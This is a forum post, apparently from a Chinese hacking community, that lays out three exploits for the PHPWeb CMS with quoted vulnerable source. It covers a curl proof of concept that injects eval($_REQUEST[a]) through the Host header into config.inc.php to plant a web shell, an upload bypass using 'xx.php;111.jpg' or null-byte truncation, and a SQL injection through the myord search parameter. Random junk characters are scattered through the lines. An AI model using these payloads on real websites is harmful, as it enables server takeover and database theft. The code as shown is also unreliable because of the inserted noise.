找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2657|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
注入:
5 N7 Z' f, `4 {  I/ _0 x7 r- J1 w; _, }
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
! |/ u* [/ h0 ?. @0 e
; T0 a2 `" A5 ]鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件' w& d/ |3 j! [4 [9 W5 u
鸡肋2: 有一定安全常识的站长都会删掉 install 目录8 M2 |1 @2 o# ^( `/ }/ L

0 g: J# _/ \, |: q1 I1 V虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响+ a) H: m- f; G0 F7 }' k- y

/ g1 y+ |5 |1 [; v分析:3 L2 F1 U3 U% F* j7 d
) c6 f, E) j7 i7 n" t

4 P0 ]% F9 `+ W/ P$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤* F. A- w7 B; `+ Z5 p
/ G1 L$ r7 p1 D* S6 o
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);: N( }# c  c! ]5 `% r
                                            $filestr=str_replace(" ","",$filestr);
0 x) ~2 B+ l& `/ M( h                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
8 ^& U: z0 T! j' }' r5 j: n) V                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
8 J9 w2 N1 V/ h0 y                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);; j: m2 o5 G" Y8 c: f, `
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);$ j4 N# |* v/ k: F% S8 {" F
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
$ _+ ]& o8 K* Q; M+ h, W, o                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);# H, ?" \$ p6 D+ x
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
8 m) Z; H) T* W* } 8 l# K# x7 ]" G* z6 V
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);( {5 |1 H% |3 ~) ]: |% }
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
: m- C# j& I* K2 i9 [' c3 ]- G) Z1 z 3 H" N4 ^) C% C" {* A* d3 r
poc:) o: C6 I: a- `2 T1 e. b# K

( }' e; d. F) `% d- M& k: y# c  [+ ^) m?
3 Y" I& T4 y+ q1$ L4 j. M, r9 u' p) \% P
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#") M2 j( s  ~! ?9 Q/ `& Z, }; T4 q
shell地址: /config.inc.php% }3 g! F; S9 o# F4 h: I# v( E0 L: {
跟之前的 phpcms一样 需要远程数据库) u) [# U' ~7 S9 _2 W% V! J+ O% s

# I. Y. ?4 Y* P5 _——————————————————–
! Z8 G1 s3 @! I9 `9 k9 i/ P: I/ s上传漏洞(需要进后台):  R/ `8 w3 c8 S/ N3 a
漏洞文件: /kedit/upload_cgi/upload.php! ^& `' H) Q. g# e
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
. N, U) k. `/ m- {: [7 f 8 w# `, W( m5 T3 o/ x( H* I

6 O$ C% v2 g5 w<?php
% Y, M3 Q* s6 `/ d* ~    define("ROOTPATH", "../../");
, I# E6 P! j9 f7 D6 T. m    include(ROOTPATH."includes/admin.inc.php");) O' R% k2 Z3 p6 j  d+ n+ t7 V
    NeedAuth(0);
% w7 p1 {2 L% T. `. g
' J* c4 J/ ?4 g1 U& p/ b    $dt=date("Ymd",time());6 b3 v% U$ G2 n8 Y
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
0 H8 G/ H9 o! N& f$ P            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);  _+ h7 V2 R1 B- Y0 }
    }( {5 m9 ^! ]; j0 d* [/ {7 [) C

  j( N+ y4 K; r! p    //文件保存目录路径) O7 t, g( e5 ]3 l) u8 f* y1 ?$ m
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';& d7 h3 Q; d! ~/ m
    echo $save_path;- J$ X# e" o$ Z% N0 F5 _+ B
    //文件保存目录URL
) s1 X+ V/ S7 [) I( ]6 u/ n    $save_url = '../../'.$_POST['attachPath'].$dt.'/';( N( {2 Q% @5 @8 c1 s+ k. N

- E7 X+ p+ l! ]- @+ P7 C: @    //定义允许上传的文件扩展名
6 [2 q6 m4 Q. l; _+ b6 k    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀- p" ~2 K# R# g; A1 r8 x: _" h$ C
; `9 f( v, [# m" k4 w+ H
    //最大文件大小8 z' S$ O& {( c9 y* e& d
    $max_size = 1000000;+ c( Y. }  E6 v* k* t

( l6 l$ `, p4 y' @- K    //更改目录权限
3 R+ u* J% ~: [, m; J  |. D) m    @mkdir($save_path, 0777);# O8 U0 b- m9 N6 a" k
- S( k) Q0 n9 X& I0 N1 C
    //文件的全部路径8 K8 F& K+ q# r4 @8 [& R" h
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
# O: `! k& T1 F- _ : g* F) A5 ~$ l7 Z9 w6 b* Q
    //文件URL
. n6 N- q! U) F- D, z: g) P    $file_url = $save_url.$_POST['fileName'];: G! Q6 }* ~0 M4 i6 ]& ?
//有上传文件时8 K! @% L  E( {/ U$ d& g' H
    if (empty($_FILES) === false) {
, O1 b4 W$ ?- N: w " k9 ^6 @  F0 L% j3 c
            //原文件名
; ~, b  J! x6 d! H            $file_name = $_FILES['fileData']['name'];
8 h9 ^) w9 A+ m) C            //服务器上临时文件名
0 t" z, A$ r( Y. y2 Q            $tmp_name = $_FILES['fileData']['tmp_name'];
9 t8 @# Q2 Z$ H7 g" `            //文件大小7 N& {* }7 H' T+ B  B) x5 @0 x( G; v/ V
            $file_size = $_FILES['fileData']['size'];
( \) j% x0 `9 K" @& Q+ e# c0 o0 h            //检查目录0 i( T4 A9 w4 O
            if (@is_dir($save_path) === false) {2 h! c' v$ G# ?, b% i
                    alert("上传目录不存在。");
9 |# H# N" K  u# I( a9 y; R# W            }
" k8 T  L1 i9 I1 E, K3 K7 b            //检查目录写权限; i2 ~% v9 W# _, H8 Z
            if (@is_writable($save_path) === false) {, F: f7 l" ^/ d9 Z
                    alert("上传目录没有写权限。");2 C. O8 ?/ v% `* ^
            }4 ~% ^) U" T+ {* C3 s3 S
            //检查是否已上传
. }% f6 _. _7 R: S8 Z            if (@is_uploaded_file($tmp_name) === false) {" a1 ?- X+ u9 E5 S
                    alert("临时文件可能不是上传文件。");2 L( U5 i  U! t1 f8 u$ D
            }/ a  L9 C0 D# P
            //检查文件大小. O# M% Y3 C4 v( ~4 z) y8 k" U
            if ($file_size > $max_size) {
, A4 e! C4 K( }  h, V5 b; u# M                    alert("上传文件大小超过限制。");
1 M; `: Y" d. U$ l            }' b" M/ q' X1 a+ f( K6 Z
            //获得文件扩展名
7 T" A2 y  i; w: O6 I            $temp_arr = explode(".", $_POST['fileName']);
* W2 a, f6 {, w! D, p$ \            $file_ext = array_pop($temp_arr);! F' J1 _0 g* T' V1 m7 j' E
            $file_ext = trim($file_ext);
3 ]1 v7 ?: f2 K/ M, r# [) x            $file_ext = strtolower($file_ext);$ ~+ m: p2 o% i7 p) d% o: v! Q

$ S( n+ l+ L; W' \            //检查扩展名   ( d' l& L- \0 B
            if (in_array($file_ext, $ext_arr) === false) {     
- Z( b# ~$ t4 c& r" E. N  q) u                    alert("上传文件扩展名是不允许的扩展名。");
3 O  W0 D! j( ?% _' j; a            }3 s1 ]3 X$ w/ R
# p" _" K# l" K! [! ^% K# s2 T4 w: ]
            //移动文件   
- g2 ?" Y2 d. \9 ], Q            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
; F5 X: s; p* I) q            if (move_uploaded_file($tmp_name, $file_path) === false) {
% l5 }" z$ `( }6 ~                    alert("上传文件失败。");- S5 [# Q* D/ C6 W, N) y  ^. F
            }9 d  C/ F6 N7 _9 _

- x3 W* ^& X- m' {& W( O            @chmod($file_path,0666);( Y' k/ X' {% {: @3 Q- b
) x, U0 F1 A. E9 E7 P1 f
    ?>1 Y) ~: ]  ]7 y$ v$ [3 u
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
2 s" i3 d8 W& s* A7 I1 @ 7 J$ q( H( F( F: h8 O
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过) Y) ?2 Q7 T* a6 H# A2 m
  z1 |2 S* F& i# n( D
——————————————————
6 h, A0 p* h- c3 T( D/ y5 R0 m注入漏洞:1 d4 W$ `/ Y- X" o( Q! Z: J3 f
漏洞文件:search/module/search.php1 `$ ~# f! K* L8 q3 w2 K0 H/ v9 K
/search/index.php?key=1&myord=1 [sqlinjection]. U; ?% L" v+ q+ v
6 h8 p9 x3 N+ \& s. y: p: G4 ?
6 N- h( y6 P1 w6 N& `& b
<?php6 d% d( D8 N  q3 \1 y! n+ N
   //       ... 省略 n 行.../ |6 O% P+ `/ h6 r) s- V; I
   //第18行:
4 o5 J; h% A0 M4 w; G3 T( {           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
. O3 k7 \. a$ n/ W4 ~           $page=htmlspecialchars($_GET["page"]);
2 o0 A+ W7 @' X+ ~3 E           $myord=htmlspecialchars($_GET["myord"]);
+ r" A8 |: E& Q& J
1 L6 {# s( i' y# a: [+ [1 l5 C   //       ... 省略 n 行...
: p/ w8 L% F8 w" M5 V3 y   $key,$myord 两个参数带入查询# S+ ]+ p2 p: `8 B9 w
   //第47行 $key:4 y0 V7 c# S& W- n# a

& W! B/ K5 |1 Z   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
: s$ @4 w- A) S% L" A, K' j 7 k' z2 z5 x  N  w2 f. ]
   //第197行 $myord4 n0 W8 \7 j9 a( Y2 R
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入. Z# @! e& I/ q$ Y: Z% T% u/ {
7 \  ~' V6 |5 B# y8 S4 b8 ?, v# [. j
   ?>  z" }/ J  n3 @  o, O' R9 x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表